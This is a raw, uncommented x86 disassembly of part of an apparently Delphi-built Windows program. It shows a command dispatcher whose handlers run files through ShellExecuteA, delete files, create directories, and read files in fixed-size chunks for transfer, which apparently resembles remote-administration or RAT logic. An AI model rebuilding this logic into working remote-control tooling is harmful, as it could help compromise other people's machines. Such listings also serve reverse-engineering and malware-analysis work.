cmp dword [ebp - 0x78], 0
jne 0x4e4746
cmp byte [0x53fb78], 0
jne 0x4e4746
xor eax, eax
push ebp
push 0x4e473f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b40
test eax, eax
jne 0x4e472a
push 0x7f
lea eax, [ebp - 0x280]
push eax
mov eax, dword [0x540b90]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x4e46a8
lea eax, [ebp - 0x7c]
lea edx, [ebp - 0x280]
mov ecx, 0x80
call fcn.00404820
mov dword [ebp - 0x50], 2
jmp 0x4e4699
lea edx, [ebp - 0x7c]
mov ecx, dword [ebp - 0x50]
mov eax, 0x4e7b44
call fcn.00404b6c
add dword [ebp - 0x50], 2
mov eax, dword [ebp - 0x7c]
call fcn.0040488c
cmp eax, dword [ebp - 0x50]
jge 0x4e4685
jmp 0x4e46b5
lea eax, [ebp - 0x7c]
mov edx, 0x4e7c0c
call fcn.00404650
mov eax, dword [0x540644]
push dword [eax]
push 0x4e7c18
push dword [ebp - 0x7c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
push dword [ebp - 0x7c]
push 0x4e7c18
lea edx, [ebp - 0x990]
mov eax, 0x85
call fcn.004ab8a8
mov eax, dword [ebp - 0x990]
push eax
lea edx, [ebp - 0x994]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x994]
pop edx
call fcn.0046ce80
lea edx, [ebp - 0x98c]
call fcn.004093f0
push dword [ebp - 0x98c]
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4746
mov byte [0x53fb78], 0
ret
lea edx, [ebp - 0x998]
mov eax, 0x84
call fcn.004ab8a8
mov eax, dword [ebp - 0x998]
push eax
lea edx, [ebp - 0x99c]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x99c]
pop edx
call fcn.0046c9cc
fstp qword [ebp - 0x98]
wait
mov eax, dword [0x549570]
call fcn.004df3c8
push eax
push 0
mov eax, dword [ebp - 0x7c]
push eax
mov eax, dword [ebp - 0x98]
push eax
mov eax, dword [ebp - 0x94]
push eax
mov ecx, dword [ebp - 0x78]
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e47df
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53fb78], 0
jne 0x4e4949
call fcn.004b0b40
test eax, eax
jne 0x4e4949
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x9a0]
mov eax, dword [ebp - 0x7c]
call fcn.004df250
mov eax, dword [ebp - 0x9a0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e4860
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4949
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
jmp 0x4e4949
cmp byte [0x53fb78], 0
jne 0x4e4949
xor eax, eax
push ebp
push 0x4e4942
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
lea edx, [ebp - 0x9a4]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9a4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9a8]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9a8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9ac]
call fcn.00471c18
mov eax, dword [ebp - 0x9ac]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
je 0x4e492d
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e492d
xor eax, eax
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x88], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4949
mov byte [0x53fb78], 0
ret
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb1
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
cmp dword [ebp - 0x88], 1
jne case.0x4e0a7d.10
mov edx, 5
xor eax, eax
call fcn.004f501c
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e49b0
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
mov dword [ebp - 0x84], 1
xor eax, eax
mov dword [ebp - 0x88], eax
cmp byte [0x53fb78], 0
jne 0x4e4c5f
call fcn.004b0b40
test eax, eax
jne 0x4e4c5f
lea eax, [ebp - 0x7c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
lea edx, [ebp - 0x80]
mov eax, dword [ebp - 0x7c]
call fcn.004df300
test al, al
je 0x4e4c5f
lea edx, [ebp - 0x9b0]
mov eax, dword [ebp - 0x7c]
call fcn.004df250
mov eax, dword [ebp - 0x9b0]
mov edx, dword [ebp - 0x7c]
call fcn.004049d0
je 0x4e4b8d
mov eax, dword [ebp - 0x2c]
test byte [eax + 0x10], 0xff
je 0x4e4c5f
lea edx, [ebp - 0x9b4]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9b4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9b8]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9b8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
cmp dword [ebp - 0x80], 0
je 0x4e4ac0
push 0
lea eax, [ebp - 0x9bc]
call fcn.00471c18
mov eax, dword [ebp - 0x9bc]
call fcn.00404a84
push eax
push 1
push 1
lea eax, [ebp - 0x80]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
jmp 0x4e4ac8
xor eax, eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4c5f
push 0
lea eax, [ebp - 0x9c0]
call fcn.00471c18
mov eax, dword [ebp - 0x9c0]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x4e4c5f
mov eax, dword [0x5408f4]
cmp byte [eax], 0
je 0x4e4b7e
lea eax, [ebp - 0x9c4]
mov edx, dword [0x5408f4]
mov dl, byte [edx]
call fcn.00404798
mov eax, dword [ebp - 0x9c4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4b7e
lea edx, [ebp - 0x9c8]
mov eax, 0x85
call fcn.004ab8a8
mov eax, dword [ebp - 0x9c8]
push eax
lea edx, [ebp - 0x9cc]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9cc]
mov ecx, 1
pop edx
call fcn.0046cc5c
mov dword [ebp - 0x88], 1
jmp 0x4e4c5f
cmp byte [0x53fb78], 0
jne 0x4e4c52
xor eax, eax
push ebp
push 0x4e4c4b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
lea edx, [ebp - 0x9d0]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9d0]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9d4]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9d4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9d8]
call fcn.00471c18
mov eax, dword [ebp - 0x9d8]
call fcn.00404a84
push eax
push 2
push 1
lea eax, [ebp - 0x7c]
call fcn.00404adc
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4c52
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
jne 0x4e4a24
mov eax, dword [ebp - 0x88]
push eax
push 0
push 0
mov ecx, dword [ebp - 0x84]
mov edx, 0xb3
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
cmp dword [ebp - 0x88], 1
jne case.0x4e0a7d.10
mov eax, dword [0x53f45c]
xor edx, edx
call fcn.00404fc8
je 0x4e4ca8
mov eax, dword [0x53f45c]
call fcn.00404ea0
push eax
call sub.kernel32.dll_DeleteFileW
mov edx, 5
xor eax, eax
call fcn.004f501c
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e4ce4
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x540644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9dc]
mov eax, dword [ebp - 0x7c]
call fcn.004df250
call fcn.004b0a04
test eax, eax
jne 0x4e4e34
cmp dword [ebp - 0x7c], 0
je 0x4e4e34
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9e0]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4e27
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e4e27
cmp byte [0x53fb78], 0
jne 0x4e4e27
xor eax, eax
push ebp
push 0x4e4e20
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b40
test eax, eax
jne 0x4e4e0b
lea edx, [ebp - 0x9e4]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9e4]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9e8]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9e8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0x9ec]
call fcn.00471c18
mov eax, dword [ebp - 0x9ec]
call fcn.00404a84
push eax
push 0
push 1
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4e27
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0a7d.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov eax, dword [0x540950]
cmp dword [eax], 0
jne 0x4e4e79
push 0
push 1
push 0
push 0
push 0
mov ecx, 0x3ab7
mov edx, 0xa6
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
lea eax, [ebp - 0x7c]
mov edx, dword [0x540644]
mov edx, dword [edx]
call fcn.00404650
lea edx, [ebp - 0x9f0]
mov eax, dword [ebp - 0x7c]
call fcn.004df250
call fcn.004b0a04
test eax, eax
jne 0x4e4fc9
cmp dword [ebp - 0x7c], 0
je 0x4e4fc9
mov dword [ebp - 0x84], 1
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0x2c]
mov dl, byte [edx + 0x20]
call fcn.00404798
mov eax, dword [ebp - 0x9f4]
mov edx, dword [ebp - 0x7c]
call fcn.00404bc8
test eax, eax
jle 0x4e4fbc
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0x21], 0
jne 0x4e4fbc
cmp byte [0x53fb78], 0
jne 0x4e4fbc
xor eax, eax
push ebp
push 0x4e4fb5
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb78], 1
call fcn.004b0b40
test eax, eax
jne 0x4e4fa0
lea edx, [ebp - 0x9f8]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9f8]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7be0
pop eax
call fcn.0046cc5c
lea edx, [ebp - 0x9fc]
mov eax, 0x11a
call fcn.004ab8a8
mov eax, dword [ebp - 0x9fc]
push eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov edx, 0x4e7bf4
pop eax
call fcn.0046cc5c
push 1
lea eax, [ebp - 0xa00]
call fcn.00471c18
mov eax, dword [ebp - 0xa00]
call fcn.00404a84
push eax
push 0
push 3
mov eax, dword [ebp - 0x2c]
add eax, 0x20
push eax
mov eax, dword [0x54081c]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x84], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e4fbc
mov byte [0x53fb78], 0
ret
cmp dword [ebp - 0x84], 0
je case.0x4e0a7d.60
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xb2
mov eax, dword [ebp - 0x28]
call fcn.004ddb28
jmp case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e7c24
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c54
lea eax, [ebp - 0xa04]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa04]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c64
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa08]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c74
lea eax, [ebp - 0xa0c]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa0c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa10]
mov eax, 0xf9
call fcn.004ab8a8
mov ecx, dword [ebp - 0xa10]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa14]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa14]
push eax
push esi
call fcn.0046dff0
push 0x4e7c84
push dword [ebp - 0x90]
push 0x4e7c84
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
call fcn.004dfda4
xor edx, edx
mov eax, 3
call fcn.004dfdc4
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e7b7c
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4e0a7d.10
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov esi, eax
mov edx, 0x4e7c24
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
lea eax, [ebp - 0xa1c]
mov edx, dword [0x54956c]
mov dl, byte [edx]
call fcn.00404798
push dword [ebp - 0xa1c]
push 0x4e7c90
lea eax, [ebp - 0xa18]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa18]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
push dword [0x54956c]
push 0x4e7ca4
lea eax, [ebp - 0xa20]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa20]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
push dword [0x54956c]
push 0x4e7cbc
lea eax, [ebp - 0xa24]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa24]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4e7c44
mov eax, dword [0x540c9c]
push dword [eax]
push 0x4e7c74
lea eax, [ebp - 0xa28]
mov edx, 3
call fcn.0040494c
mov edx, dword [ebp - 0xa28]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0xa2c]
mov eax, 0xf9
call fcn.004ab8a8
mov ecx, dword [ebp - 0xa2c]
mov edx, dword [0x540c9c]
mov edx, dword [edx]
lea eax, [ebp - 0x90]
call fcn.004048d8
lea eax, [ebp - 0xa30]
mov edx, dword [ebp - 0x90]
call fcn.00404e90
mov eax, dword [ebp - 0xa30]
push eax
push esi
call fcn.0046dff0
push 0x4e7c84
push dword [ebp - 0x90]
push 0x4e7c84
lea eax, [ebp - 0x90]
mov edx, 3
call fcn.0040494c
mov eax, esi
call fcn.004037ac
push 0
push 0
push 0
mov eax, dword [ebp - 0x90]
call fcn.00404a84
push eax
push 0x4e7b7c
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.004737e8
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cb70
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004ef400
jmp case.0x4e0a7d.10
lea edx, [ebp - 0xa34]
mov eax, 0xfa
call fcn.004ab8a8
mov eax, dword [ebp - 0xa34]
push eax
lea edx, [ebp - 0xa38]
mov eax, 0xae
call fcn.004ab8a8
mov eax, dword [ebp - 0xa38]
push eax
lea eax, [ebp - 0xa3c]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa3c]
pop eax
pop edx
call fcn.0046c30c
jmp case.0x4e0a7d.10
cmp dword [0x53f3a8], 0x5250390
jb case.0x4e0a7d.10
cmp byte [0x53fb70], 0
jne case.0x4e0a7d.10
xor eax, eax
push ebp
push 0x4e5769
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x549644], eax
mov eax, dword [0x549644]
add eax, 0x5b
cmp eax, dword [0x5496d8]
jae 0x4e5390
push 0
push 0x3e8
mov eax, dword [0x53f338]
mov edx, dword [0x53f33c]
call fcn.00405968
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4e5390
cmp eax, 0
je 0x4e5754
mov byte [0x53fb70], 1
lea edx, [ebp - 0xa0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0xa0]
call fcn.004db5b4
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 0xa0]
call fcn.00404650
mov eax, dword [ebp - 0xa0]
call fcn.0040488c
cmp eax, 3
jge 0x4e53e3
mov eax, 0x53fb68
call fcn.004045b8
jmp 0x4e5718
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5472
mov al, byte [0x549910]
call fcn.0046b940
test al, al
je 0x4e5472
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e5472
lea edx, [ebp - 0xa40]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0xa40]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa44]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa44]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e547c
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0xa0]
call fcn.00462e40
test al, al
je 0x4e5718
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xdf
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x46a778]
call fcn.0046aa00
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4ed898
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4edae4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee11c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0xa0]
call fcn.0040460c
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x470804]
call fcn.0040377c
mov dword [0x5498f8], eax
push 0
push 0x20
mov eax, dword [0x5498f8]
call fcn.00419740
push 0
push 0x20
mov eax, dword [0x5498f8]
call fcn.004196dc
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4e5711
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046aab4
mov eax, dword [0x5498f8]
call fcn.004196f0
cmp edx, 0
jne 0x4e5586
cmp eax, 0x20
jbe 0x4e56d0
jmp 0x4e558c
jle 0x4e56d0
mov eax, dword [0x5498f8]
mov eax, dword [eax + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xe8
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [0x5498f8]
call fcn.004196f0
mov edx, dword [ebp - 0x2c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x5496d8]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
mov eax, dword [ebp - 0x2c]
call fcn.004ed2a8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf2
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
push 0
push 0
mov eax, dword [0x5498f8]
call fcn.004196dc
xor ebx, ebx
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], ebx
inc ebx
mov eax, dword [ebp - 0xac]
cdq
push edx
push eax
mov eax, dword [0x5498f8]
call fcn.004196bc
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4e5653
cmp eax, 0x500
jbe 0x4e565c
jmp 0x4e5655
jle 0x4e565c
mov esi, 0x500
jmp 0x4e566e
mov eax, dword [0x5498f8]
call fcn.004196bc
mov esi, dword [ebp - 0xac]
sub esi, eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov ecx, esi
mov eax, dword [0x5498f8]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x5498f8]
call fcn.004196bc
mov edx, dword [ebp - 0xac]
sub edx, eax
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x18], edx
add esi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd608
test al, al
je 0x4e56ee
test bl, 0xf
jne 0x4e56c1
mov eax, dword [0x540b3c]
mov eax, dword [eax]
call fcn.00449300
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x18], 0
jne 0x4e5622
jmp 0x4e56ee
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5737
mov eax, dword [0x5498f8]
call fcn.004037ac
mov eax, dword [ebp - 0xd4]
call fcn.004037ac
ret
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
cmp dword [0x53fb68], 0
je 0x4e5754
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549910]
call fcn.004b0db0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0a7d.10
mov byte [0x53fb70], 0
ret
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
lea eax, [ebp - 0x3c]
call fcn.004db5b4
mov eax, dword [ebp - 0x3c]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
mov eax, dword [ebp - 0x3c]
cmp byte [eax + 1], 0x3a
jne 0x4e5809
mov al, byte [0x549910]
call fcn.0046b940
test al, al
je 0x4e5809
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e5809
lea edx, [ebp - 0xa48]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0xa48]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa4c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0x3c]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa4c]
lea eax, [ebp - 0x3c]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5813
mov eax, 0x53fb68
call fcn.004045b8
push 0
lea eax, [ebp - 0x3c]
call fcn.00404adc
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x53fb68], 0
je 0x4e5846
mov eax, 0x53fb68
call fcn.004045b8
mov al, byte [0x549910]
call fcn.004b0db0
push 0
push 0
lea edx, [ebp - 0xa50]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov eax, dword [ebp - 0xa50]
push eax
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004dd98c
jmp case.0x4e0a7d.10
cmp byte [0x53fb74], 0
jne case.0x4e0a7d.10
xor eax, eax
push ebp
push 0x4e5b2d
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x53fb74], 1
mov dl, 1
mov eax, dword [0x414bcc]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa54]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409f74
mov edx, dword [ebp - 0xa54]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db5b4
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x549910], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e597f
mov al, byte [0x549910]
call fcn.0046b940
test al, al
je 0x4e597f
mov al, byte [0x549910]
call fcn.004b0a30
test eax, eax
jne 0x4e597f
lea edx, [ebp - 0xa58]
mov al, byte [0x549910]
call fcn.004b0c2c
mov edx, dword [ebp - 0xa58]
mov eax, 0x53fb68
call fcn.0040460c
lea eax, [ebp - 0xa5c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa5c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x53fb68]
call fcn.004048d8
jmp 0x4e5989
mov eax, 0x53fb68
call fcn.004045b8
mov eax, dword [ebp - 0x9c]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4e5ac8
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x50], 1
lea ecx, [ebp - 0xa60]
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
